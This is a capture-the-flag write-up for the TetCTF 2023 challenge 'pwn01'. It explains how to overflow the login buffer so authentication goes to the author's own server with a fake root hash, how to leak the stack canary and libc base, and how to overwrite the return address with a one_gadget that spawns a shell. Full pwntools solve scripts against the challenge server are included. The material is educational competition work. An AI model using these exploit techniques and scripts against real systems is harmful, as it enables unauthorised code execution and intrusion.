# pwn01 (9 solves) ###### tags: `TetCTF 2023` `pwn` ## Challenge description ![](https://i.imgur.com/hUM0JK2.png) I did not solve it in time (30 minutes late T.T). However, I spent quite of lot of time on this challenge, so I might as well do a write up for future me. Special thanks to [Mystiz](https://twitter.com/mystiz613) and cire meat pop for helping me on this challenge. ## Reverse engineering The provided binary will connect to a remote authentication server which provides the user/password The original authentication server is hosting on `139.162.36.205 6666` and gives the folloing response when connected. ``` root:$6$tet$.84DBkpbpZEcXF.WKDJJDSStwXYJir3.WSKOma1e5N20d4SDpbMPLryTcZaB7buisGAsT2GW1bdad74Hh3Ply0:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false phieulang:$6$tet$c6Gn4JRQYto4qK3o0nx.iF04g9XaR0bceVJmyjFqVplnSCkZKPJSz30tfvKbu/mNHPHC/kJdtSELbfHzRchTN.:1000:1000:,,,:/home/phieulang:/usr/bin/zsh mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin ``` Hash cracking? Not this way. After login, we could have access to read file function. There are 5 files and the content of the first 4 files are constant, and seems to be dumped from `/dev/urandom`. The fifth file is `urandom`. ## Vulnerbility Analysis ### Bypass the login There is a buffer overflow in the login function. See the pseudo-code from ghidra. ```c= void login(void) { ssize_t readResult; long in_FS_OFFSET; char continueLogin; int readSize; int sockFd; char *serverIp; char *usernameBuffer; char *passwordBuffer; int *loginResult; char *authToken; char password [128]; char username [128]; int authData [2]; char acStack80 [8]; undefined authPacket [56]; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); serverIp = "tet.ctf"; usernameBuffer = username; passwordBuffer = password; loginResult = authData; authData[0] = 0; authToken = acStack80; do { memset(authPacket,0,0x10); getServerIp(serverIp,authToken); printf("Username: "); readResult = read(0,usernameBuffer,0xb0); readSize = (int)readResult; ``` Here is an illustration. ![](https://i.imgur.com/wqzn4Bg.jpg) So we can control variables on stack, one of them is the authentication server IP. Like this. ![](https://i.imgur.com/28yUTIg.png) To host my own authentication server, I have compiled the following c code and used socat to serve the binary. The server needs to be accessible from the internet at port 6666. The credential is simply just `root:P@ssw0rd`. ```c #include <stdio.h> int main(void) { printf("root:$y$j9T$Jh.SJVlEpZJ4VjpG7xQqI/$Ddq3Nf1sbgyS91Hy.6jhv88/gz5al3p830zEFjFWrt0:0:0:root:/root:/bin/bash\n"); return 0; } ``` `socat tcp-l:6666,reuseaddr,fork EXEC:"./a.out",pty,stderr` After that, we could login as root. We now have access to the read file function. ### Read file feature There is a buffer overflow in the read file function. See the pseudo-code from ghidra. ```clike! char readBuffer [264]; //...snip... while( true ) { printf("How many bytes to read?"); lVar1 = getNumber(); size = (int)lVar1; if (size == -1) break; memset(readBuffer,0,0x100); sVar2 = read(ret_val3,readBuffer,(long)size); if (sVar2 == 0) { puts("No more data!"); break; } puts(readBuffer); } ``` #### Read premise We can corrupt the stack by specifying a read size larger than the buffer size. Since the `readBuffer` would be passed to the function `puts`, we can specify a specific size such that it would leak values on stack as the `puts` function would print until null byte was reached. We could leak the canary and libc base with this function. #### Write premise The function call `read(ret_val3,readBuffer,(long)size);` would read from the selected file and write to the readBuffer with the specified size. Let say we know the data inside the file on the challenge server, we can achieve write to stack by writing from the furthest address . Basically find how far is the target byte in the file based on the current reading index. Do some math to skip to the correct reading index. Read the wanted offset to write the byte to stack. Simple? See the following implementation and see how to write a target byte into a specific offset from `readBuffer`. ```python! def writeByte(p, targetByte, offset): global read_index log.info(f"writeByte() targetByte : {hex(targetByte)} offset : {offset} read_index : {read_index}") with open('./data/file.bin','rb') as fp: fp.seek(read_index) data = fp.read() distance = data[offset:].index(targetByte) + 1 + offset idx = distance - offset skip_count = idx//BUF_SIZE final_read_size = idx%BUF_SIZE for i in range(skip_count): p.sendlineafter(b"read?",f"{BUF_SIZE}".encode()) p.sendlineafter(b"read?",f"{final_read_size}".encode()) p.sendlineafter(b"read?",f"{offset}".encode()) read_index += distance ``` ## Exploitation Since we have both read and write premise, we could achieve code execution by overwriting the return address. Use [one_gadget](https://github.com/david942j/one_gadget) to find a decent gadget and try to satisfy the conditions. Dont forget to fix the canary when you leave the read file function. Here is a nice screenshot. ![](https://i.imgur.com/OlJmcvj.png) `TetCTF{w4rm_uP_ch4lL3ng3__g0Od_g4m3!}` ## Solve script This script is used to dump file 1 on the challenge server ```python!= from pwn import * read_index = 0 bytes_to_read = 264 sleep_secs = 2 question = b"How many bytes to read?" file_index = 1 with open("./data/file.bin",'rb') as fp: old_data = fp.read(read_index) with open("./data/file.bin",'wb') as fp: fp.write(old_data) while True: print(f'Reconnect read_index : {read_index}') p = remote("139.162.36.205", 31337) p.sendlineafter(b"Your choice: ", b"1") p.sendlineafter(b"Username: ", b"root\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa198.199.78.86") p.sendlineafter(b"Password: ", b"P@ssw0rd") p.sendlineafter(b"Your choice: ", b"2") p.sendlineafter(b"Enter the index of the file to read: ", str(file_index).encode()) try: if read_index == 0: p.sendlineafter(question, str(bytes_to_read).encode()) else: steps = read_index // bytes_to_read off = read_index % bytes_to_read for i in range(steps): p.sendlineafter(question, str(bytes_to_read).encode()) if off != 0: p.sendlineafter(question, str(off).encode()) p.sendlineafter(question, str(bytes_to_read).encode()) a = p.recv(bytes_to_read) print(f"{a}") if(len(a) < bytes_to_read): read_index += len(a) + 1 a += b'\x00' else: read_index += len(a) fp.write(a) p.close() if read_index > 20000: break except Exception as e: print(f'Error {e}') p.close() continue ``` ```python!= from pwn import * import binascii context.log_level = "info" # 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ) # constraints: # rsp & 0xf == 0 # rcx == NULL # rbp == NULL || (u16)[rbp] == NULL # 0xebcf1 execve("/bin/sh", r10, [rbp-0x70]) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL # [[rbp-0x70]] == NULL || [rbp-0x70] == NULL # 0xebcf5 execve("/bin/sh", r10, rdx) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL # [rdx] == NULL || rdx == NULL # 0xebcf8 execve("/bin/sh", rsi, rdx) # constraints: # address rbp-0x78 is writable # [rsi] == NULL || rsi == NULL # [rdx] == NULL || rdx == NULL read_index = 0 BUF_SIZE = 264 def readFile(p, idx): p.sendlineafter(b"Your choice:",b"2") p.sendlineafter(b"Enter the index of the file to read:",f"{idx}".encode()) def readBytes(p, size, readSize): global read_index try: with open('./data/file.bin','rb') as fp: fp.seek(read_index) data = fp.read() p.sendlineafter(b"read?",f"{size}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[:size])}') tmp = p.recv(readSize) read_index += size while(len(tmp) < readSize): log.debug(f"readBytes read {readSize} got {len(tmp)}") p.send(f'{size}'.encode()) log.debug(f'DUMP: {binascii.hexlify(data[:size])}') tmp = p.recv(readSize) read_index += size return tmp except Exception as e: log.debug(f"readByte error {e}") def writeByte(p, targetByte, offset): global read_index log.info(f"writeByte() targetByte : {hex(targetByte)} offset : {offset} read_index : {read_index}") with open('./data/file.bin','rb') as fp: fp.seek(read_index) data = fp.read() distance = data[offset:].index(targetByte) + 1 + offset #Look for target Byte that is at least offset away from start. Off by 1 idx = distance - offset skip_count = idx//BUF_SIZE final_read_size = idx%BUF_SIZE log.debug(f"distance : {distance} idx : {idx} skip_count : {skip_count} final_read_size : {final_read_size}") for i in range(skip_count): p.sendlineafter(b"read?",f"{BUF_SIZE}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*i:BUF_SIZE*i+BUF_SIZE])}') if not final_read_size == 0: p.sendlineafter(b"read?",f"{final_read_size}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*skip_count:BUF_SIZE*skip_count+final_read_size])}') p.sendlineafter(b"read?",f"{offset}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*skip_count+final_read_size:BUF_SIZE*skip_count+final_read_size+offset])}') read_index += distance function_offset = 0x7feedf585d90 - 0x007feedf55c000 # p = process('./chall') # gdb.attach(p) p = remote("139.162.36.205",31337) #Login p.sendlineafter(b"Your choice:",b"1") p.sendlineafter(b"Username:",b"root\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa198.199.78.86") p.sendlineafter(b"Password:",b"P@ssw0rd") readFile(p, 1) # Get canary offset_canary = BUF_SIZE+1 leak = readBytes(p,offset_canary, offset_canary+7) canary = u64(b'\x00'+ leak[offset_canary:offset_canary+7]) log.info(f"canary : {hex(canary)}") # Get libc_base offset_functon = BUF_SIZE+32 leak = readBytes(p,offset_functon, offset_functon+6) function_leak = u64(leak[offset_functon:offset_functon+6] + b'\x00\x00') #__libc_start_call_main+128 log.info(f"__libc_start_call_main+128 : {hex(function_leak)}") libc_base = function_leak - function_offset log.info(f"libc_base base : {hex(libc_base)}") #TODO : Find a working gadget! gadget = 0x50a37 + libc_base # gadget = 0x616161616161 log.info(f"one gadget : {hex(gadget)}") #Rewrite return address return_offset = BUF_SIZE+16 for idx,byte in zip(range(return_offset+8,return_offset,-1),p64(gadget)[::-1]): writeByte(p,byte,idx) #Rewrite rbp rbp_offset = BUF_SIZE + 8 for idx,byte in zip(range(rbp_offset+8,rbp_offset,-1),p64(0)[::-1]): writeByte(p,byte,idx) #Rewrite canary for idx,byte in zip(range(BUF_SIZE+8,BUF_SIZE,-1),p64(canary)[::-1]): writeByte(p,byte,idx) # Input 0 and enter to trigger the return p.interactive() ```